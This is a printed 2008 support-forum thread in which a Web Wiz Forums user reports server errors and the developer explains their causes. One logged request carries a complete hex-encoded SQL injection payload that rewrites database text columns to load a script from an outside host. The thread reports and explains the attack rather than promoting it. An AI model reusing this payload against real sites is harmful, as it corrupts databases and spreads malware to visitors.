Few errors worth reporting
Printed From: Web Wiz Forums
Category: Web Wiz Web App Support Forums
Forum Name: Web Wiz Forums
Forum Description: Support forum for Web Wiz Forums application.
URL: https://forums.webwiz.net/forum_posts.asp?TID=26292
Printed Date: 03 April 2026 at 6:26am
Software Version: Web Wiz Forums 12.08 - https://www.webwizforums.com
Topic: Few errors worth reporting
Posted By: kiklop
Subject: Few errors worth reporting
Date Posted: 22 September 2008 at 3:07pm
I take a quick look at our error messages and found these worth mentioning here.
****
File functions/functions_common.asp
(called from forum_posts.asp)
Error: Permission denied
Line:
Set objTextStream = objFSO.OpenTextFile(Server.MapPath(strLogFileLocation & "\" & strLogFileName), fsoForAppend, True)
Full page call
GET
/dforum/forum_posts.asp?TID=22058&KW=&PID=234237;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777332E73733131716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777332E73733131716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);
It is evidently a malicious call but i do see quite a lot of these (with random IP or browser header hitting the server at the same time).
*************
File register.asp
(called from forum_posts.asp)
Error: Type mismatch: 'CBool'
Line: blnAutoLogin = CBool(Request.Form("Login"))
Referrer: /CAPTCHA_image.asp?SID=e8a761z84a5f2zb7425f37zd35422cz5
****
RSS_topic_feed.asp
I don't know why but i have significant calls of this file without appropriate query strings. A check for the mentioned may be good thing to add.
I hope this is of any help. If necessary i can provide more info.
Thank you !
-------------
http://www.dyxum.com" rel="nofollow - dyxum.com
|
Replies:
Posted By: WebWiz-Bruce
Date Posted: 22 September 2008 at 4:04pm
Both these errors are coursed by not correctly installing/updating your forum.
The first error because you have enabled logging without setting the correct permissions on the directory storing the log files. You need to have read, write, and modify permissions on the directory. The logging feature is trying to save in the log file that an SQL Injection attempt has been made by one of the new breed of SQL Injection viruses that are infecting many peoples computers.
Either turn back off the logging feature or set the correct permissions on the log file directory.
The second error is due to you not updating all the changed files. You need to ensure that you have updated all the files that have changed from the version you were running previously. The new function 'CBool' that has coursed the error was added to the file functions/functions_common.asp
-------------
https://www.webwiz.net/web-wiz-forums/forum-hosting.htm" rel="nofollow - Web Wiz Forums Hosting
https://www.webwiz.net/web-hosting/windows-web-hosting.htm" rel="nofollow - ASP.NET Web Hosting
|
|